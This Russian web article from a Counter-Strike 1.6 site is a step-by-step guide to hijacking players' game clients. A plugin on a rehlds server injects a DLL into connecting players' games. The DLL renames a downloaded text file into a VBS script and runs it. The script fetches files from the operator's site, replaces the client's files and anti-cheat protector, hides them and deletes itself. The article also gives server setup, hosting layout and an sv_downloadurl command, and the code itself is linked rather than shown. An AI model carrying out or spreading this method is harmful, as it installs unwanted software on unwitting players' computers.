Скачать КС 1.6

Подмена мастер сервера кс 1.6 в примере с исходниками

По многочисленным просьбам, после просмотра статьи Подмена мастер сервера в кс 1.6, выкладываю готовое решение для реализации этого метода вместе с исходным кодом и небольшим описанием.

Для этого потребуется :

Меню по странице, пошаговая реализация :
Нажмите для быстрого перехода к пункту :
Общее описание :

На установленный сервер заходит клиент, ему закачиваются два файла. Первый, назовем его system_Stdio.dll, второй strike.txt.
Текстовый файл, содержит в себе vbs-скрипт, который пишем и открываем с помощью Notepad++ блокнота.
В этом файле находится основной код. Что касается библиотеки dll, то основная задача будет после инжекта плагином на сервере - переименовать strike.txt в my.vbs и запустить его.
Остальную грязную работу выполнит скрипт.

После запуска скрипта, скачаются файлы с сайта в папку клиента.
Эти файлы указаны в коде my.vbs, то-есть ваш протектор, с вашим мс, а от старой защиты избавиться.
Учитывая момент, когда нельзя перезаписать и изменить используемые файлы в папке кс, если counter-strike 1.6 запущена, мы будем делать отложенный запуск.
Вариантов развития событий много, я опишу только этот для примера.

Запущенный скрипт, после выполнения кода, скопирует требуемые файлы из корня кс и переместит их во временную папку, которую назовём zz
Теперь в корне клиента нет никаких файлов, только папки, а кс по прежнему продолжает работать. Ведь перемещение в виндоус используемых файлов программы допустимо, а вот их замена во время работы программы - нет.

Почему переносятся эти файлы, если казалось-бы, что загрузи только протектор и дело в шляпе ?

Не зная какие используются файлы у клиента, из скольких файлов состоит протектор клиента, что требуется удалить и будет ли гарантированно работать ваш мс после того, как окажется там.
Для этого и очищаем корень от файлов и заливаем туда необходимое.

При следующем запуске кс, клиент будет ваш.

Подготовка

Качаем готовую платформу для подмены и устанавливаем готовый игровой сервер. Для тех, кто не знаком с этим, советую почитать статью на сайте как установить сервер кс 1.6 на вдс
В качестве подопытного будем использовать билд rehlds, в котором есть необходимые для этого дыры и способности в дальнейшем улучшить работу кода. Плагин находится и уже залит в plugins.
Не забудьте изменить rcon пароль и админа в настройках.

Пароли для архивов, если спросит доменное имя сайта

Яндекс

Запустите сервер и проверьте, что он работает после установки. Если норм, значит продолжим...
Создайте на своём сайте каталог( папку ) с названием strike или создайте её на отдельном поддомене.
Старайтесь использовать протокол http а не https.
Например, если ваш сайт называется mysite.ru вам будет нужна папка strike, поэтому всё что требуется это:

mysite.ru/strike/
или поддомен, как пример
test.mysite.ru/strike/

Теперь заглянем в обыкновенную сборку кс в корень, какие файлы там видим:

предварительный просмотр м4а1

25 необходимых файлов, чтобы запустить кс.
Предварительно удалим скриптом те, что находятся у клиента кроме папок. Перед удалением, скрипт изменит атрибуты файлов и без разницы, скрытый или стоит только чтение.

Залить эти файлы в папку strike на сайт, с которого будут скачиваться скриптом. Сюда же, после, можете добавить свой протектор - указать их в скрипте и залить на сайт. Обычный протектор к примеру состоит из трех файлов :

client_save.asi
client_save.dll
client_save.ini

Более подробно о типах протекторов я расскажу ниже про Антивирусы

От защиты загружаемого протектора вашего мс, будет зависеть защита сломанной сборки клиента после подмены

Скачиваем готовые файлы и копируем из архива к себе на сайт в папку strike.

Яндекс

Качаем отдельно скрипт, а ниже кнопки скачивания так-же виден его код под спойлером :

Яндекс

Скрипт пишем на Visual Basic это позволит сократить конечный вариант размером около 20кб без разных exe

Рассмотрим подробно содержание скрипта (нажмите, чтобы открыть)

Скрипт можно заметно упростить и изменить, если написать общую функцию для всех файлов при скачивании, например:

Нажмите, чтобы открыть

В коде скрипта есть функция protectFile, в которой можно задать атрибуты файла после скачивания и скрыть с глаз долой :

Нажмите, чтобы открыть

Теперь, чтобы после скачивания сделать скрытым, системным и только чтение будет выглядеть как :

Нажмите, чтобы открыть

Как видно из скрипта, всюду используется ссылка mysite.ru/strike/ которую создали раннее на сайте.
Учтите, что доменное имя в ссылках кода, требуется заменить на ссылку тестируемого сайта.

Так-же в коде обозначены небольшие комментарии. Стоит отметить, что скрипт позволит перезаписать и те сборки кс, которые запускаются не через hl.exe, а с помощью bat, cmd или других exe файлов. Поэтому в таком случае при совпадении имен в коде, файлы будут так-же перезаписаны и на рабочем столе появится ярлык для запуска на ваш новый файл hl.exe

Имена этих файлов отмечены в коде комментарием. Количество этих файлов, названия, легко изменить или добавить, как угодно.
Если рассмотреть скрипт, то видно в коде, что никаких exe файлов качаться клиенту не будут. Это облегчает задачу для уязвимости, поэтому не используйте протекторы зависимые от exe, пробуйте основанные на dll и asi, следите чтобы на них популярные антивири не ругались.

Для примера привожу 26 необходимых файлов в архиве. Которые легко изменить и отредактировать здесь же в скрипте.

Некоторые файлы после замены становятся скрытыми, а те которые изначально скрыты перед подменой контролируются скриптом. Изменяются свойства для удаления ( замены ), с помощью снятия или изменения атрибутов файлов.

Учтите, сколько файлов качается с сайта, столько и указывается в скрипте. Каждому файлу для загрузки, отвечает код в скрипте. Не стал делать в виде отдельной функции(пример выше показал) каждому свой, для примера myFile.dll :

Нажмите, чтобы открыть

Важно учитывать, если в названии файла присутствуют большие ( заглавные ) буквы, значит он таким и прописан всюду в коде, такой-же залит на сайте

Последняя запись в коде, самоудаляет скрипт после запуска :

Нажмите, чтобы открыть
Библиотека DLL

Библиотеку можно накатать, как угодно и на чем угодно.
Версия обязана быть release и способна работать на других ПК.

При подключении к серверу, плагин MasterServer_Change.amxx загружает и инжектит DLL в кс.
Она даёт команду переименовать закаченный прекешем файл strike.txt из текстового в скрипт my.vbs.
Cледующей командой ShellExecute происходит запуск.

Готовую так-же выкладываю в архив. Никто не мешает сделать её самостоятельно, а пример кода виден ниже :
Яндекс
Нажмите, чтобы открыть
Файлы и рекомендации

Выполнить следующее :

sv_downloadurl "http://mysite.ru/strike"
Файлы и антивирусы

Пример простой сборки со слабым протектором для теста скачать

Яндекс

Указанный материал на сайте описывает недостатки пиратских сборок кс 1.6 в интернете и необходимости использования надежных источников, таких как стим и прочих.
Использованием нелицензионных сборок, вы подвергаете себя риску и способны столкнуться с новыми угрозами, одна из которых описана здесь в статье и которая уже давно исправлена в стиме.
Пользоваться далее ими или нет, как и описанным здесь недостатком решать вам, статья и приведенные здесь примеры описаны исключительно в ознакомительных целях и носит рекомендательный характер по использованию все-таки проверенных источников.



Яндекс.Метрика
2018 © cs-exclusive.ru | Не все права защищены | s9va production карта сайта